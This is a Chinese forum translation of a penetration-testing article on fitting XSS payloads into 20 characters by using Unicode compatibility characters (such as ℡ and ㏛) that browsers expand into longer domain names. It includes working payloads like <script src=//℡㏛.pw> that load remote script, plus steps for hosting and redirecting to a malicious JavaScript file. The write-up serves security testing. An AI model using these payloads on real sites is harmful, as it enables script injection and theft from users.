首页
社区
课程
招聘
[翻译]Exploiting XSS with 20 characters limitation
2019-12-19 13:55 6248

[翻译]Exploiting XSS with 20 characters limitation

2019-12-19 13:55
6248

原文:https://jlajara.gitlab.io/posts/2019/11/30/XSS_20_characters.html

翻译:cherrir

校对:lipss



     跨站点脚本攻击是web渗透测试中最常见的漏洞之一。但是由于注入点字符限制的问题,有时payload无法执行成功,在这篇文章中,将利用unicode兼容性来突破这一限制。

unicode的兼容性

在unicode等价里一些字符的序列有相同的含义。

该特性被引入到标准中,以便与现有的标准字符集兼容,unicode有两种方法处理这种兼容性和规范等价性。

1、规范等价性:一些有着相同外形的字符序列也被认为有着相同的含义,如:n + ◌̃ = ñ。

2、兼容等价性:一些字符的外形可能不同,但是在某些情况下含义相同,如:ff字符等价于ff

20个字符的兼容性

因此,假设payload长度被限制,我们可以用如下这个不超过20个字符的payload:

<svg/onload=alert``>

这个payload只能简单弹个框,并不能展示xss的危害,例如加载外部JavaScript文件<script src=//aa.es>,让我们能更灵活地准备更复杂的XSS攻击。

这样的短payload可以实现输入20个字符加载远程JavaScript文件。但是弊端就是后面加载远程JavaScript文件的短域名早已经被注册或者购买价格太昂贵。


unicode字符的利用

浏览器对某些unicode字符具有兼容性,例如payload:

<script src=//ffff.pw>

注意:ff是一个字符,但是当浏览器解析时,ff被扩展为ff。这种特性可以用更便宜的方式购买更具有影响力的域名:

ff 扩展为 ff

℠ 扩展为 sm

㏛ 扩展为 sr

st 扩展为 st

㎭ 扩展为 rad

℡ 扩展为 tel

更多类似的unicode字符请参考:https://www.unicode.org/charts/normalization/

可以在这里查看unicode字符被浏览器解析后的样子:https://www.compart.com/en/unicode/U+2121


比如,我们注册域名telsr.pw这个例子只花1.28美元。


最终payload是这样的:

<script src=//℡㏛.pw>

让我们来看看这个过程是怎么发生的,20个字符是如何解析为23个字符的:

Next Steps

所以Payload可以用已经注册的域名再缩短长度,但是还没有达到什么目的。

DNS重定向这个方法出现在我脑海:

1、XSS被触发然后浏览器尝试去加载telsr.pw的内容

2、DNS重定向到域名xsshunter.com,执行XSS攻击

3、XSS攻击成功

但是这里会有一个问题,如果连接使用的是HTTPS协议,payload使用的是src=\\url,HTTP变成了HTTPS,当DNS重定向到另外一个站点时,会产生SSL证书不匹配并且Javascript文件无法加载。


如果连接使用的HTTP就不会有这个问题,但这不是常见场景。

可以通过如下方法来解决:

1、购买一个主机给域名用,我是在namecheap.com上买的,最便宜的是1.44美元/月

2、设置一个HTTPS证书,第一年是免费的

3、在控制面板中,转到重定向功能页面并设置重定向到恶意Javascript文件所在的位置。这不是**DNS重定向**,而是**服务器重定向**,所以不会出现证书不匹配错误,因为url提供了在步骤2中生成的有效证书

4、执行重定向并触发执行




 参考

https://en.wikipedia.org/wiki/Unicode_equivalence

https://medium.com/@mohameddaher/how-i-paid-2-for-1054-xss-bug-20-chars-blind-xss-payloads-12d32760897b



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-12-19 14:04 被cherrir编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回